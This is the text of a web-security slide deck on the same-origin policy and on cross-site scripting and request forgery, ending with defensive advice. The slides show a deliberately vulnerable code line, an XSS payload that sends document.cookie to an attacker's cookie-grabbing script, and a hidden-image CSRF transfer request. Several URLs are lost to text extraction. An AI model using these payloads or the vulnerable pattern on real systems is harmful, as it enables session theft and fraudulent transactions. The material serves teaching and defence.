Origins, Cookies and Security – Oh My! John Kemp, Nokia Mobile Solutions

What is the “Same-Origin Policy”? That a document or script loaded from one Web origin may not manipulate properties of, or communicate with, a document loaded from another Web origin. Server-side security enforced by a client (Web browser!) Scheme, host and port are considered a unique origin Doesn’t restrict a document from having HTML elements which call items from other origins (, ) Everyone wants to break it (see, JSONP, CORS)

Why same-origin policy? Netscape 2.0 implemented cookies HTTP Authentication Cookies created a session state mechanism for HTTP HTTP authentication created a login session state for HTTP One site can cause this state to be sent to another site

Problems with same-origin policy Impersonation of a legitimate user (via cookie, HTTP credentials) Impersonation of a legitimate site (by Referer HTTP header, for example) Leading to... Cross-site scripting Cross-site request forgery …and generally bad things for the user, victim site

Cross-site scripting Web app code: (String) page += " 〈 input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "' 〉 ”; Attacker changes “CC” value to: ' 〉〈 script 〉 document.location= ' bin/cookie.cgi?foo='+document.cookie 〈 /script 〉 '. All your session are belong to us!!!

Cross-site Request Forgery Victim site has a public state-changing URL: = Attacker makes a call to that URL inside an innocuous image load: 〈 img src=" count=attackersAcct#“ width="0" height="0" / 〉 All yr money are belong to us!!!

Some solutions Never, ever trust a client! Don’t rely solely on cookies or the Referer HTTP header for authentication (for example, use CSRF tokens) Validate input supplied by the requesting user/site Encode input supplied by a requesting user/site Don’t write your own code (use OWASP ESAPI where possible!)

More attacks, more information SOP - CORS, UMP, XHR - domain.htmlhttp:// domain.html OWASP – OWASP Top OWASP ESAPI -